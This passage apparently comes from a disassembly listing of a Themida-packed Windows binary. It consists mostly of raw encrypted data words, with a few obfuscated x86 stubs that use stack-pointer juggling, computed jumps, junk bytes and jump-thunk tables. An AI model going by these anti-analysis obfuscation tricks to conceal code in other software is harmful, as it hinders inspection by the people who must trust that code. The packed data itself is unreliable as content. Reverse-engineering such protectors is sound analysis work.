0E17AC748h, 7A1360AFh, 0D4AEFB14h dd 8F0A7D85h, 9C794DF7h, 0F31C72C6h, 4B1697BEh, 72BAB8Eh dd 0A9E5F689h, 89F41B70h, 0E4FD6954h, 0BC4FD5ADh, 4760222h dd 0AE540000h, 0F901C0A5h, 49F78185h, 1DD695A0h, 0B8519E71h dd 0C64943D6h, 0A8E39C5Bh, 0CC5F3267h, 88BCCFE7h, 313A4DF7h dd 9CD13E4Eh, 979F5EC9h, 50099C97h, 0D03F4E07h, 0ED35C89Bh dd 4B8E63E2h, 9F44EDB2h, 8C8D8h, 0A16E2300h, 3ED1BB54h dd 0DD3258F1h, 7798F790h, 13FC912Ah, 0FDFD6C6h, 0AB44917Eh dd 49E22FE0h, 0E27BC847h, 3C1663ACh, 8FA2E5EDh, 4E14DF7h dd 0F31C722Eh, 7699F5BEh, 0EF98A0B7h, 8C47DF5Fh, 4009EE81h dd 0C28BC04Fh, 440D42CDh, 0BB8EC34Ch, 7368798Dh, 345D84F0h dd 7F7377B3h, 0EE9FEF1Fh, 0AE19EC21h, 77D6AE1Bh, 0C10322BCh dd 55000003h, 0DF5F6823h, 0A0858E47h, 81ABD9E1h, 0C3CE49F7h dd 926CED04h, 0ABF8644Dh, 761829BCh, 6D21DA99h, 0ACDBE3A2h dd 0CF4DF7B1h, 9B3431C4h, 5AE71CF3h, 9DA56451h, 5009C591h dd 0D1AA2934h, 81EDB230h, 81315DCh, 236E0000h, 86069FECh dd 0E7A33C89h, 4D42DB28h, 0B1DC75C2h, 9421115Eh, 8FDC335Ah dd 2D7A95F6h, 0C613FC94h, 61AE612Dh, 57303887h, 244DF790h dd 1C727147h, 99F5BEF3h, 8FFEB776h, 1D08ED80h, 405730B1h dd 0DF5F4F38h, 0E22D6347h, 0E342DAADh, 0DF5FACDBh, 59C4CF47h dd 0E27959C6h, 19AE22BCh, 3, 0DF5F6623h, 927F8847h, 81F0CBD3h dd 0C8D349F7h, 3071F209h, 0C81AC6F4h, 98F6079Ah, 0FD912A77h dd 0F09A5312h, 8417EA1Fh, 1C09129Fh, 0E481555Dh, 59645009h dd 0B2070BDAh, 3B02A7EDh, 771h, 0FD4AC5CCh, 9AE72864h dd 39868901h, 0D320EFA0h, 6FBC533Ah, 0D5B8367Fh, 3754ED3Ah dd 9EF28BD8h, 38B2471h, 96E5BF0Ch, 0F790F98Eh, 0D7AD8A4Dh dd 92F5FD14h, 0F147DF5Fh, 4C4253E6h, 0C9C58EC3h, 25068746h dd 553D1F8h, 0AE9CE61h, 0FE905B86h, 0F7995211h, 93888518h dd 22BC5233h, 7E8h, 71743A00h, 0DE000002h, 0DF5F6623h dd 927F8847h, 81E9CBD3h, 0C1CC49F7h, 0CA454902h, 65AAE47Dh dd 0AB9AA330h, 9FF2E4ECh, 0CAD55009h, 0B243844Bh, 0E2A94EEDh dd 6D9h, 65B25D34h, 24FC0CCh, 0A1EE2169h, 3B888708h, 0D724EBA2h dd 6D20CEE7h, 0CFBC55A2h, 365AF340h, 9BF38CD9h, 0FE4D2774h dd 0F79191F6h, 3F15F24Dh, 0F7351C72h, 6643FFD8h, 90FB147Bh dd 6727F025h, 0CAD2E9A8h, 47DF6BBDh, 3B20B3BEh, 0BFF41B72h dd 467B94F6h, 0AA2FB29Eh, 0B732AF33h, 0F6EB38D7h, 22BCF29Eh dd 1F4Bh, 5B149D00h, 64ABE534h, 5EF15C2Fh, 1C74Fh, 0FFF77800h dd 41CEBF1Eh, 0A410390Ch, 4F7D1069h, 0DF5F6123h, 977E8747h dd 8508C1D8h, 262E558Ah, 47DF5F61h, 19AC1722h, 0F781F8B9h dd 0DD9CA749h, 58A56A24h, 404ACFBFh, 0A22F64CFh dd 38D7B699h, 0B3D4DC03h, 0D04DF789h, 30EF5AC5h, 99FAE28h dd 0B2BA1950h, 47E99BD5h, 553A9BA6h, 35D04FBAh, 0BDEDB243h dd 5F75118h, 3F520000h, 0A2EA83D0h, 387206Dh, 6926BF0Ch dd 0CDC059A6h, 0B005F542h, 73C04F3Eh, 115EB1DAh, 0AAF71878h dd 45927D11h, 73141C6Bh, 104DF792h, 0FD145D33h, 0DF5F92F5h dd 53E6F147h, 8EC34C42h, 8746C9C5h, 3458C1CEh, 68D3A6DBh dd 6A11F0D5h, 0A336D9B1h, 2F5F8A57h, 269E93E0h, 0F322BCFEh dd 7, 0F67445h, 23DE0000h, 47DF5F61h, 0D8977E87h, 6A9F701Fh dd 8D950497h, 49F7821Ch, 0CAE1A0ABh, 5C917E11h, 0A9E5F689h dd 0E801966h, 232B4201h, 4DF78964h, 454D0C17h, 4DF78A42h dd 0BEA33641h, 7A392831h, 9A06472h, 0C9485350h, 0EDB2431Ah dd 3E8C53F8h, 99000005h, 31CA17F8h, 0CE67B45Bh, 6D0653BCh dd 7A0ED22h, 4C3C8986h, 7088569h, 0A56A21BAh, 3ED1BF58h dd 0D93658F1h, 5B63B28Ch, 4DF7932Ch, 729C724Fh, 0F5BEF31Ch dd 30C8099h, 5B90FBCEh, 0FEE9F87Ch, 0A9C07F90h, 0C3739CF0h dd 47DF5FC4h, 1C19ACB7h, 3B550E25h, 5F6324D4h, 152047DFh dd 0FEBD1582h, 7CFD22BCh, 0FD92812Ch, 0E10ADD12h, 8A1DE997h dd 788h, 2974DA00h, 0DE000000h, 0DB345B14h, 2F40D3A6h dd 39D6BA5Fh, 91C63104h, 1449C6C8h, 6C776A7Eh, 752EED22h dd 0ECBFF41Bh, 33C55C59h, 2F000000h, 0BEF31C72h, 1A31697h dd 1288A253h, 8E6F1F7Fh, 3F4D47DFh, 255AB5DAh, 0E9B2E752h dd 363368A7h, 38EAEFF2h, 0D33C5009h, 0EC38CB9Eh, 7B94FAF5h dd 1C72782Eh, 2831BEF3h, 6F727A39h, 3C49F782h, 0A25B7231h dd 809124EBh, 1BB4010Eh, 0DA679C73h, 1D25E4D1h, 500FAB35h dd 4693D7A0h, 30CBC663h, 0D2FB11B9h, 0E24DBA67h, 0EF8B0C23h dd 0DAC20738h, 404E5FF2h, 0A5E982CFh, 0E0790E16h, 0FF0A47DFh dd 0C9D25F94h, 0FE69A6E6h, 3B373Fh, 696A49F2h, 0E1B4E926h dd 1EB6F776h, 17BCEBAAh, 3F850h, 0D13E5300h, 6EA1EB84h dd 0D028821h, 0A76827C0h, 43CCC15Ah, 3FAF06F6h, 0DB74C14Eh dd 79125FB0h, 12ABF817h, 6C46937Ch, 9472151Dh, 34114DF7h dd 9F1C725Eh, 0DF5FF097h, 1D889347h, 0B85737D0h, 3D455C83h dd 47DF5F4Ah, 8A9B2E39h, 0F7D60B04h, 0C4F79750h, 0DF5FCBBCh dd 42ADB847h, 0C44B440Dh, 0BE51BC8Fh, 1A746F72h, 17B536F5h dd 756BDF25h, 0C4B9B649h, 22BCE2CCh, 7699F3ACh, 0A7AF6E41h dd 47DF87E0h, 30598A3h, 5Fh, 92F5FD14h, 0F147DF87h, 0AE2553E6h dd 0EA01C0A5h, 5FBCCBD3h, 0BEBF47DFh, 3B0E43CCh, 23DD3DD0h dd 0E749F1AEh, 15D2E166h, 0A83B1279h, 0F52C9760h, 98381CCAh dd 0DBB56E2Dh, 565E7534h, 4DF23E31h, 3D64232Bh, 0C174DF2h dd 0D9D66974h, 0F23D9CF1h, 0A36C224Dh, 3CD3BD56h, 30F4007h dd 0AEAA0000h, 0EA01C0A5h, 0DF5FA5E2h, 83EE4547h, 2A6B208h dd 84030B6Ah, 0F747DFACh, 7FEE81ECh, 0F1D45B77h, 40C2349h dd 4DF1C383h, 1A62F500h, 7D11DA0Fh, 0B3C75D92h, 7D4552Eh dd 0CF05EF0Ch, 3E471CAFh, 6A819857h, 8434DBB1h, 4DF1D503h dd 82E27580h, 5003FC50h, 0F0E7343Fh, 0BBB6D1D9h, 0BAC547DFh dd 5C495227h, 64ABE49Dh, 5AC95C2Fh, 0F1E38052h, 8106F49h dd 4DF1D47Fh, 0FF90F1FCh, 9D08DB10h, 21EE9F68h, 895844ECh dd 0E5A4919Ah, 9A7515CEh, 1DF29C65h, 13BF1FB2h, 825003FCh dd 7A332A77h, 0F2C5FA15h, 3D4BB9C9h, 50E343D1h, 8BC04F3Fh dd 8443CCC2h, 0BB4EC1CBh, 695861BEh, 76ECA2AAh, 909B49F2h dd 2448435Bh, 8FAB4DF2h, 275B3B52h, 3B9024AEh, 0E2000000h dd 1C0A5AEh, 0F17ECDF9h, 58373849h, 44AF82B7h, 0C9D1E80Fh dd 4DF180BEh, 3FD0BCBDh, 39CC370Ah, 0F180B2D9h, 4902414Dh dd 0C497CC43h, 95FCE531h, 24AEDF3Dh, 0AFEAh, 5B143C00h dd 3748DB34h, 0BA83B857h, 3E073CD3h, 0C18ABF50h, 0CE414CCDh dd 722E1663h, 7447DF5Ah, 0FA8F51Ah, 0CA97D27Fh, 0B5FFFF5Fh dd 0A1D63954h, 0A12E63CEh, 0E2EAA998h, 49F1FE74h, 18995863h dd 8AC1E635h, 9A972A91h, 8E4D343Dh, 42CDBE77h, 47A73A0Dh dd 50043BD4h, 2CE5A4AFh, 6A61AE61h, 99405DE9h, 699DD1Bh dd 0F87798F5h, 0EDBE03BFh, 86470EB3h, 0E1000001h, 79125FB0h dd 16AFFC13h, 0B54E9B74h, 4FE835DAh, 9484D13Eh, 4FC0CD21h dd 0ED226902h, 868907A0h, 21EEA039h, 0A3ABFAD4h, 4DF796E4h dd 72E4BA97h, 0EA7F41Bh, 8C428F80h, 1C0A5AEh, 0B55A31EAh dd 0BA1AAD80h, 49F17F0Ch, 1BF49B54h, 503F4088h, 85347101h dd 49B4C000h, 0A1D64114h, 0F1C60289h, 0CD5F14Dh, 91C0CA83h dd 302D19C9h, 0E41984D8h, 0B1117E11h, 6624AE80h, 95h, 0DE9314B8h dd 0AE2C1836h, 0AAE4F588h, 0B37E0911h, 0F2FD47DFh, 7C0FC887h dd 0B11CF39Dh, 3116A97Ch, 0B5EA2568h, 0DFAF039Dh, 0A6692547h dd 41CEC059h, 8F767F0Ch, 0A88EC8D0h, 6E7949F1h, 0D6BBC421h dd 53AF0F17h, 0B165004h, 15FA934Ch, 0B15E2FC8h, 0BE786F32h dd 17DE83EDh, 0ADh, 39868908h, 0D623ECA0h, 75C24D3Dh, 0F5CB3DCh dd 0ABF81776h, 99F4FABBh, 0FB902976h, 622EC714h, 0C7C760ADh dd 0D221FB48h, 0F797BDCAh, 0BE1BE4Dh, 0A7F41B72h, 428F800Eh dd 0F31C728Ch, 8099F5BEh, 0DEA9B10Ah, 9D47DF5Fh, 1FF22792h dd 10A67B4h, 94D5514h, 0EC49F782h, 89AA6D23h, 9F0AEEAAh dd 22EDA16Ah, 0FF523CD5h, 0D11092E6h, 4378E3BDh, 0E7A1252Bh dd 0F3EE0255h, 0B8396F8h, 0C3DA9904h, 0F718CCBBh, 11A4AF55h dd 0FC137B14h, 7E91FEC7h, 2CB5A149h, 8342CDC1h, 46AFB002h dd 396CA1Eh, 0EE216D06h, 3F2B9h, 225C0000h, 0F01F7234h dd 739CF2BBh, 0F41B753Eh, 7A95F6BFh, 0FE117C45h, 828D00C9h dd 40B844Dh, 8B8406CFh, 10FF8D56h, 5456D4DBh, 4C6815Eh dd 83000000h, 348704EEh, 0FB685C24h, 89000030h, 0C4682414h dd 8900007Ah, 0BE56243Ch, 7D06347Eh, 1E1E8E68h, 0F2315A7Bh dd 3C8B545Eh, 4C48324h, 266868h, 24148900h, 0F6242C81h dd 8F2DDE19h, 47810847h, 0DE19F608h, 243C8B2Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop edx add esp, 4 jmp loc_583BD9 ; --------------------------------------------------------------------------- db 8Fh db 9, 8Ah ; --------------------------------------------------------------------------- loc_5DF48A: ; CODE XREF: Themida_:loc_5DE539j mov eax, 618393Ch add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0FBh dd 2279873Fh, 8E6BEE68h, 5D0D38D1h, 540EA67Eh, 213DD164h dd 7A218394h, 3A7F8A86h, 4E03E75Dh, 4E55BCE9h, 1A77782Dh dd 0B6299B79h, 863A21F1h, 647B8A1Dh, 5E370C6Fh, 0DA1F17BBh dd 0AC09F849h, 0C67A212Bh, 0AA492A7Bh, 373E4861h, 39573BC0h dd 5D123647h, 6523C719h, 0B43AA755h, 145BD8FCh, 74920C1h dd 42BF6F2h, 2236A7EAh, 0B14F54E7h, 0C0728DEEh, 0E919836Ch dd 1AAh, 436DF3C9h, 1AD52C27h, 46B198D3h, 0B4CAD1D7h, 5B7E41EFh dd 5D9752E4h, 0FCA3FB6Dh, 9EB99244h, 0BCD792A5h, 93B9E495h dd 9DB2CB00h, 9CACA3F4h, 9EB9FCh, 0AFC945D2h, 0FC00EE73h dd 9CBA9755h, 0A4E56D59h, 0FEACFFB2h, 5657F647h, 0CCD4C4h dd 8F7DB5F6h, 539549F7h, 0C9BCFA97h, 915CCD45h, 0ACE56CA1h dd 10000h, 43h dup(0) dd 6D849700h, 69F033A2h, 0EEh, 0Ah dup(0) dd 0A4E90000h, 68000010h, 6183DF0h, 0FB0BB1E9h, 3F1968FFh dd 0A7E90618h, 68FFFB0Bh, 61840C5h, 0FB0B9DE9h, 41BE68FFh dd 93E90618h, 68FFFB0Bh, 618430Dh, 0FB0B89E9h, 43FC68FFh dd 7FE90618h, 68FFFB0Bh, 618449Dh, 0FB0B75E9h, 44FF68FFh dd 6BE90618h, 68FFFB0Bh, 61845F5h, 0FB0B61E9h, 466968FFh dd 57E90618h, 68FFFB0Bh, 6184721h, 0FB0B4DE9h, 47E668FFh dd 43E90618h, 68FFFB0Bh, 61848C6h, 0FB0B39E9h, 49DA68FFh dd 2FE90618h, 68FFFB0Bh, 6184AD9h, 0FB0B25E9h, 0BB1D9AFFh dd 0F54BCF75h, 2B8909AFh, 68C03FE5h, 0A5FB7C22h, 3D81215Fh dd 781E64BCh, 0B3599FF5h, 0EB91D731h, 8EC50B6Dh, 0E35BE02h dd 64B521F8h, 41971533h, 0C422A0AEh, 0B0763FA0h, 0FA8DE367h dd 0D1D21F28h, 7BB7DD3Fh, 0CD35911Ah, 0CB2D2DE0h, 3447C4E5h dd 0D76CA41h, 94D71C3h, 21F28DFFh, 5EB4381Eh, 0DA6DD7FCh dd 6D76BA36h, 6DDE0E53h, 0AD5A103h, 7FDE0E53h, 816A9FFh dd 0C7992C8Ah, 0CD60B839h, 15D79822h, 0EF9B5CEEh, 5AF79573h dd 574Fh, 9B179300h, 0E5B8C57h, 0F8E44EDEh, 0DE0E5BEBh dd 77F785EFh, 5ABC8E21h, 0E40C9D79h, 97C7D983h, 0AD9982BCh dd 27E0DB26h, 0DB7281C5h, 0E7827E0h, 0E90D5FC9h, 0F2FA13A5h dd 0E477E121h, 0EFA6F78h, 30F789DEh, 0D8AA43A4h, 0A2C41348h dd 22A01C40h, 0CE7E5AF7h, 0E5000000h, 1D419715h, 0F85AB637h dd 9AF67785h, 0B4129076h, 7AED4F21h, 598EE6Ch, 0D91F79F7h dd 8AA33C9Dh, 0F3CC6633h, 2C8EE665h, 0E0194560h, 85EDC27h dd 0C9E1CC2h, 4EE13389h, 0B7DBE1C8h, 95F74DD1h, 13B74D91h dd 0B09621F2h, 5176D82Eh, 2683A1E7h, 0C8A7094h, 0B74517AAh dd 784ADD33h, 8CE1216h, 0CAD81A81h, 0B2DB3C60h, 3E61707Dh dd 0AC15DE22h, 6BD5D439h, 0CDB3B719h, 8AEF44Ch, 0B5D83187h dd 2DF5AE2Dh, 0DE33D2Ah, 0A8250000h, 0E0640A50h, 1E9E448Ah dd 5DDC82C8h, 9A1BC107h, 0E8BAF83Eh, 0B1F751D2h, 0EA30880Bh dd 266CC244h, 5EA40280h, 8C579B27h, 4E21F80Fh, 9415CCFDh dd 846F7C00h, 570F5ABEh, 0A0E6388Ah, 0D41A7CFAh, 1A997FBBh dd 0F35527BAh, 2269C0Dh, 0B20A086h, 70E4A70h, 5EC012F0h dd 0F2F00C92h, 0D164CE21h, 0EF09A65h, 3E476DEh, 0F738FB77h dd 0D3543A5Ah, 0F18EA7Dh, 0F164CA0Eh, 0B31A7CDEh, 0EAh dd 4197151Ah, 89B5371Dh, 0E032BE45h, 80D23C27h, 46B91BEDh dd 0CE61B738h, 0E0364762h, 3460DE27h, 0E376D04Eh, 0C9DE2511h dd 0B21CD81Fh, 62DE1A60h, 1FC9D51Eh, 49AB15D8h, 3DBF5DDBh dd 0F07E50E3h, 0A3C7196Fh, 0DCE53BBDh, 0AE9824C6h, 0D245A7F8h dd 43675D4Ch, 0DE2C5FFh, 0E36248DEh, 0F4FD1ECEh, 0A6F8E01Dh dd 0BADF4113h, 0BB19987Eh, 0D8904CFh, 0A5CC6DEh, 0C103A6C4h dd 67FD3C9Dh, 0D0E34771h, 21266A6Eh, 11D819ECh, 1C9D83A7h dd 17AA0888h, 0E9CFF345h, 82A80A6Ah, 0AC055BDCh, 0F5AF7EE3h dd 0BA938083h, 0FC00000Ch, 3DE3297Fh, 771D63B9h, 0B55BA1F7h dd 0F298DE36h, 93D11771h, 0CE2AAB0Fh, 95FE288h, 459B1DC3h dd 7DDB59FFh, 30740037h, 21F80DA3h, 15A5D627h, 0BAF63C94h dd 32E9FA3Eh, 87F127E0h, 0DF39B725h, 97158099h, 73BC1D41h dd 7DCBE3B2h, 7D8BFE60h, 4563A9FFh, 0F63A5E64h, 21F29C00h dd 5E4468D2h, 21F386E0h, 17E04CBFh, 0F1DE0EA3h, 70EC985Fh dd 4E5AF769h, 79h, 7A0C9DB5h, 84E463F9h, 3ACD1FF1h, 0AEF21668h dd 21F22FE4h, 0E63CC066h, 650F7094h, 0D16EFB29h, 6AD649ABh dd 0DE0DF09Dh, 7206E97Bh, 5AF834F6h, 44D4h, 6BB71800h dd 1C09F107h, 9D5B3C9Eh, 4E92B60Ch, 21F21560h, 8125B822h dd 0EA32C105h, 12B8DE0Dh, 0CFA13492h, 804F1B7Dh, 60DE0DEAh dd 0E15DE9CEh, 0BD5AF822h, 13h, 0B70AA001h, 5F5E1264h dd 0D03284DCh, 8E636EFh, 7F6D0000h, 2BC5FA1Eh, 0E9BB4EAAh dd 0F6CB6FE0h, 0C9FBAE94h, 0BD3D61A5h, 95FF21F8h, 8F0FF571h dd 72D4A639h, 0D5798604h, 0AE7A8BF1h, 18CB6BFh, 0CC477952h dd 12F8347Ah, 65D33593h, 7ED655E7h, 34C719EBh, 9228AA90h dd 5224B711h, 0F1B89E00h, 0E72BA7CBh, 0DE08191Ch, 67E674DEh dd 67ABAF11h, 0D81023A2h, 20062A94h, 0BF2044A2h, 0EAFF0F69h dd 0AFD537B3h, 20B3F773h, 0AAD42FDBh, 0F270DE40h, 0DB757EC2h dd 0B75D42Fh, 9A026B9h, 2DF980E1h, 0C9874C75h, 2F3516DDh dd 31B3D4D4h, 40D18FF0h, 96BA0C5Eh, 3D765852h, 5FB822D2h dd 0EBCA880Eh, 0ECEBBBEh, 5000000Bh, 892F75D3h, 0C369AF05h dd 0F99FE543h, 2ED41A7Ah, 0CF0D53ADh, 0A66E7D3h, 459B1EC4h dd 81D759FFh, 0C117953Bh, 74B8447Bh, 21F8726Fh, 0B7E91A6Bh dd 27E03328h, 0D6FAC0E9h, 7F7DE92h, 70B620DEh, 4F935752h dd 0DE07F784h, 0C91FA046h, 0C0126436h, 0BEA4209Ch, 0ECF7E33Dh dd 0EEDE07F7h, 1E70C648h, 0CD44F0BCh, 0C1A7D81Fh, 8052E543h dd 6B8FF91Eh, 2D8B09EFh, 0B7DF5DCBh, 2FB86073h, 0AE006AD4h dd 0E244C268h, 0DAE0C94Fh, 0F452D0B6h, 6A79BD61h, 70D42FB8h dd 4E52B406h, 3782BF0Ah, 0B1D53FD2h, 0C7EB4DCBh, 48CA5EE1h dd 37895BEEh, 37CA2AA9h, 0A1DD0365h, 4ADD3BBBh, 2AA81678h dd 0CC47A8CCh, 85E39292h, 7FA02D36h, 9A327FF6h, 8C59C538h dd 8D4A57A7h, 682A61Ch, 0E4469C20h, 45ACBA18h, 840A14Ch dd 3056E6A8h, 0F25C81E3h, 0D2D8CA99h, 0A28F9261h, 0A15h dd 387EDA57h, 72B80E92h, 0B0F64CCCh, 0E72D8B0Ah, 2268C041h dd 7F00BEE4h, 0BA3DE329h, 0F4761C62h, 30AE549Ah, 0CD5990D6h dd 0F8737A89h, 0FE2F8021h, 92B60C9Dh, 75D72DACh, 8392D71h dd 7BDC21F8h, 1828659h, 394214A7h, 7CDEF7B9h, 4DC9ED57h dd 6B468DD1h, 0BD3BDE07h, 0B1F6C85Bh, 0DD2F890Bh, 398F0D7Bh dd 0C2CF4DF3h, 8B702CF2h, 35C81AD3h, 0B2F6FAAFh, 0DE070321h dd 30B13FA9h, 217345D8h, 3989B9FDh, 8E74D81Fh, 5325B80Eh dd 8FF147C5h, 0F6DC006Ah, 264E278h, 85E3616Fh, 0F59BE133h dd 88E2177h, 0B3F71BA1h, 0D236FF4Eh, 9C82A610h, 4682C81Eh dd 0D93207E5h, 4081C6DFh, 87CCD590h, 0F254D2F5h, 0D93B8D5Fh dd 0F88BED6Bh, 5655438Ch, 0E024A0CAh, 0CA565513h, 250B6DD7h dd 0B91A3E84h, 9258C586h, 9DA10305h, 5DBB3B21h, 0CA96F8CAh dd 0CC4E7162h, 0CEF6761Ch, 7E0D798Ah, 0C51781C0h, 0EA0E6032h dd 74F48604h, 0E086CC1Eh, 0EB710462h, 0E341C0BEh, 7D296D91h dd 0BFC66637h, 0A83B9919h, 0FF6084D6h, 0E9DE4288h, 64E67476h dd 43A5770Ah, 5D5F4AD0h, 4383F539h, 3051C074h, 0D56EE810h dd 0B50E6001h, 0DD03C7F8h, 0C6C8B5B8h, 8000008h, 41E72D8Bh dd 7B2167BDh, 0B1579DFBh, 0E68CD232h, 87C50B65h, 0C21E9F1Bh dd 0FD53D67Ch, 398F11B7h, 79CF4DF3h, 2C70FC33h, 21F871A7h dd 15A1D223h, 997E8A97h, 61AF9004h, 23F588E0h, 9A69ADD1h dd 6027E000h, 6D11A4F6h, 1DB00887h, 0FD7BE94Bh, 1291779Bh dd 0DD50B2h, 0A52319DEh, 0DF318707h, 0C9C13D99h, 79D54E5h dd 4000000h, 49736h, 1E7F6D00h, 9B2FCC7Bh, 7046A87Dh, 319316A6h dd 47FFC90Dh, 137D21F2h, 0A965BCD8h, 65440D05h, 0D6553B5Fh dd 8B19EB7Eh, 4C1EB107h, 54A2E6EAh, 9607107Ah, 0C21472F0h dd 0BA00A92Fh, 9630B096h, 582ABD13h, 98A17306h, 0B8CF9E8Fh dd 9FA305F9h, 25D5F65Bh, 4EA7C801h, 8B1C1496h, 0FBF9AE42h dd 0F12E64F2h, 0F689DF63h, 0C8AED224h, 0A6EC4Ah, 14CB2482h dd 0AC1CCD22h, 7D7BCA9h, 9C190000h, 0CC50F63Ch, 0A8A3076h dd 41C066ACh, 76F79DE3h, 0C96D41Ah, 8DD32DAEh, 0C60C64E7h dd 2489E20h, 4288DE5Ch, 0A83B7F0Bh, 3221F871h, 997FB0E1h dd 0EF5DBF15h, 0F2014571h, 0F827E032h, 5A93C8Eh, 0B6499F1Fh dd 931482E4h, 0D0D9F73Dh, 482C6EAh, 0E621F808h, 98DC587Ch dd 0DE07F44Bh, 1797258Fh, 0FA5C2EC1h, 349210F6h, 6CCA48EEh dd 85E36248h, 7F2AB023h, 0ADD5193Dh, 6FD81FCEh, 0E965E105h dd 2FB95EA5h, 0D0329CD4h, 3C82E462h, 2BBE1896h, 0EB449C1Dh dd 0F5B8387Ah, 3612FF02h, 78000007h, 0B1579DFBh, 0EB91D72Dh dd 21C70D6Bh, 56FC42A2h, 0F7357BD5h, 328E0FABh, 6DC346ECh dd 0A9FF8127h, 0E93FBD63h, 9CE06CA3h, 21F87657h, 9D114293h dd 4E92B60Ch, 21F80826h, 0B17EC7E8h, 97879E04h, 0BD3B2145h dd 0F16F155Bh, 2B7E0497h, 3B317599h, 0C1D8150Eh, 585DFE57h dd 0CACDF5A3h, 6D4DDh, 3F991600h, 79CF53F9h, 0B70D8D33h dd 0EC4CCB71h, 297F00A6h, 0C1FDA5E3h, 0FCA2E840h, 37DD2379h dd 6F155BB5h, 1A5197F1h, 76B94A8Eh, 0F04121F8h, 6F9715BFh dd 0E032D82Bh, 66B82227h, 0F147C5D3h, 0F975815Eh, 0CFEA8F98h dd 0C2AE3B61h, 27E06831h, 3EC14FB9h, 856A84E6h, 89CF29A7h dd 0E59CB12Dh, 78D54h, 36F40000h, 2ACh, 597156Dh, 0FE9D7683h dd 0E57CB0C1h, 28AE4193h, 0D3173B81h, 21F829A3h, 7EDF036Dh dd 0D8697AF5h, 0D5FB5D16h, 9C1BB12Fh, 0D6287E00h, 62E3F184h dd 7A2C006h, 44D91B5h, 0C6D81F71h, 73832DA5h, 52A4E817h dd 0B5CA482Eh, 0DF607B73h, 1B24F689h, 0DD2FC42Ah, 0D973F197h dd 18ABFD5Bh, 0B2F890Ah, 15B84B8Fh, 0D842D42Fh, 2C7D0376h dd 0B2F67296h, 0D42F1521h, 0D9DD3FA9h, 3D3F2795h, 328BF5D2h dd 0EBCB4E9Fh, 0DE473437h, 20000005h, 59FF45A3h, 93397FD5h dd 0C96FB513h, 0FEA4EA4Ah, 9FDD237Dh, 0DA36B703h, 156BEE94h dd 51A729CFh, 91E7650Bh, 4488144Bh, 21F877BFh, 15B9EA3Bh dd 0A0AE4197h, 5431C422h, 87E16248h, 46240B25h, 0CC286EC8h dd 54E5F650h, 2ABF3091h, 88EABB0Fh, 7BF26h, 36260000h dd 167h, 18997F6Dh, 0F95B2DC0h, 52AB0D8Bh, 677B3B5h, 6A1D0A0Dh dd 0AC000005h, 0ED93D92Fh, 27CD1369h, 650B51A7h, 0A2488EE6h dd 4381C721h, 7EDA5B5Fh, 0B90F9238h, 0F54BCD73h, 2D8B09AFh dd 0E024B0E7h, 21F87413h, 155586D7h, 0A0AE4197h, 0AF058822h dd 0D253395Dh, 0C4A11476h, 61DFDDA2h, 0E965C107h, 0C554E5F6h dd 19h, 0F9362Ch, 0E94A0000h, 969C16C2h, 67C14315h, 36D2B315h dd 0E7h, 0B60C9D6Dh, 22B51692h, 7ADAB42Eh, 0ABAD627Ch dd 0E40B71A2h, 7E8EB682h, 2F5021F8h, 2FC797F1h, 871A6C98h dd 0EE12A801h, 0A3318708h, 5D61C325h, 1A05BF19h, 0F23D9ED8h dd 0B35164D4h, 76C81EA0h, 2C85EF14h, 0F5A2528Dh, 0B26D5A5Dh dd 0F4000004h, 35DB2177h, 6F155BB1h, 0AD5399EFh, 0EA90D62Eh dd 8BC90F69h, 0C622A317h, 157DA80h, 3D9315BBh, 75D351F7h dd 286CF82Fh, 21F875DBh, 9D9DCE1Fh, 0AC92B60Ch, 6F41D42Ah dd 71C5090Dh, 2421F27Ch, 0D164BA3Eh, 92F271FFh, 0A6CB2DFFh dd 0FBEF6585h, 0B0BED7A0h, 1AD4DDA8h, 0FD21736Fh, 0FB419717h dd 0D5EE9F7h, 4C900CDEh, 0DE0D5E87h, 0D71C7AFAh, 1F9D0B6Dh dd 20B3098Dh, 0A5388E12h, 0E92F81D3h, 0D265C343h, 4CCCB22Eh dd 5EF90AF6h, 9701DE0Dh, 41BE835h, 9D1F0000h, 9AFC7A0Ch dd 0C03E2448h, 9F01D366h, 92F579Bh, 87F121F8h, 893B6EF4h dd 0C2A72165h, 1B85D815h, 0A23C31C2h, 190609F5h, 3EDh dd 1056B22Fh, 4A90E66Ah, 88CE24A4h, 0BF0563E2h, 0FA409819h dd 57D8E6BCh, 9215BB01h, 0CC4EF43Ah, 8862C72h, 0A53168AEh dd 0F8759261h, 0D6075821h, 92B60C9Dh, 0C72FB516h, 64D497B1h dd 25F78AE0h, 0F1A571D3h, 4321F8BEh, 51CFB5D9h, 8F75B1F7h dd 1220B30Dh, 0D1A33690h, 0CC175B7Fh, 0EDE084Eh, 56D442A4h dd 0C2E76D00h, 77F6DC00h, 5ABC8E21h, 74FF1256h, 0D53FD810h dd 0E2F135B1h, 9FD43070h, 417DC21Eh, 3070F6FDh, 388AF4D4h dd 6EECD2D6h, 70F10246h, 0BDF9D430h, 30706A79h, 0B40670D4h dd 0FAE01C62h, 662E379h, 0ED4FA173h, 14A7017Fh, 85A91B8Eh dd 9F84A809h, 3D321CDAh, 0B11365BBh, 227CC7E5h, 745AD6D2h dd 2FB4A0F6h, 0ABCA5E03h, 50BADF41h, 0C9820AF7h, 0DAC7CAEBh dd 30Dh, 3076D24Fh, 6AB0068Ah, 0A8EE44C4h, 0DF258302h dd 1A60B839h, 77F8C6DCh, 0B235DB21h, 0EC6E145Ah, 28A64C92h dd 0C55188CEh, 0F87A7281h, 0F6277821h, 0AE419715h, 7EC422A0h dd 4F734960h, 0F21DFD0Bh, 0D659FF21h, 0C719EB7Eh, 0E33FC834h dd 47D9DE0Dh, 2558D460h, 37365AF8h, 7A000000h, 0D4DF8A19h dd 5BBD2C50h, 0B60C9D7Ah, 3B9F3192h, 6F441AF1h, 2F0194ECh dd 33777BDDh, 21F2C4EDh, 672056Fh, 0DE0E87F9h, 16A28517h dd 5AF7459Ah, 0BC78h, 9715DF00h, 240AAE41h, 80EE50A6h dd 816A9FFh, 8B992C8Ah, 6FF3D90Dh, 0C8B48619h, 27E0323Bh dd 0BD0355BFh, 0E036FCB9h, 61B73527h, 0A1F7751Bh, 846A0Eh dd 0B74517AAh, 9379DB35h, 3C80A416h, 0DE0DCB0Ah, 1A387EE8h dd 0C5092D8Fh, 0D819674Ah, 25F7E849h, 6A9B68ACh, 0F55FD439h dd 5880CDECh, 4367D1F6h, 3E84DC5Dh, 0B1428602h, 39D43939h dd 7EFF6DCFh, 